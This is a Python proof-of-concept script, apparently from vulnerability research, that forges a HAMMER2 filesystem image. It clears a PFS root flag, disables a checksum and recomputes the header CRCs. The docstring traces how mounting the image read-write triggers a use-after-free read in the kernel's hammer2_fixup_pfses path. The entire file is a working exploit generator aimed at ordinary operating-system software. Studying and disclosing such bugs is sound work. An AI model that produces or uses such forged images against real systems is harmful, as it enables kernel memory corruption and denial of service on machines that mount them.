DF-2623 / forge_2623.py
#!/usr/bin/env python3 """ DF-2623 PoC image forger. Base: newfs_hammer2 -L testvol with one small file. The PFS "testvol" inode bref in the sroot blockset has its HAMMER2_BREF_FLAG_PFSROOT bit CLEARED, so an RW mount runs hammer2_fixup_pfses() on it: ripdata = &chain->data->ipdata (vfsops.c:2399) hammer2_chain_modify(...) (vfsops.c:2401) COWs the chain -> chain.c bcopy + hammer2_io_bqrelse(&tio) releases the OLD dio kprintf("... PFS %s", ripdata->filename) (vfsops.c:2405-2406) == read of the filename through a pointer into the RELEASED old buffer. sroot bref set to CHECK_NONE + volhdr CRCs recomputed (sroot block content changed: the PFS inode bref's flags byte). """ import struct, sys sys.path.insert(0, '/tmp/opencode/dfv') from h2common import * def main(): base, out = sys.argv[1:3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') assert pbr, "testvol PFS not found" oldflags = img[pbr['off'] + 0x05] assert oldflags & PFSROOT, "PFSROOT not set in base?!" struct.pack_into('<B', img, pbr['off'] + 0x05, oldflags & ~PFSROOT) struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) # not needed, keep CRC-free anyway for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot bref CHECK_NONE recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] PFS bref @ %#x: flags %#x -> %#x (PFSROOT cleared) -> " "hammer2_fixup_pfses kprintf path armed" % (pbr['off'], oldflags, oldflags & ~PFSROOT)) print("[+] wrote %s" % out) if __name__ == '__main__': main() |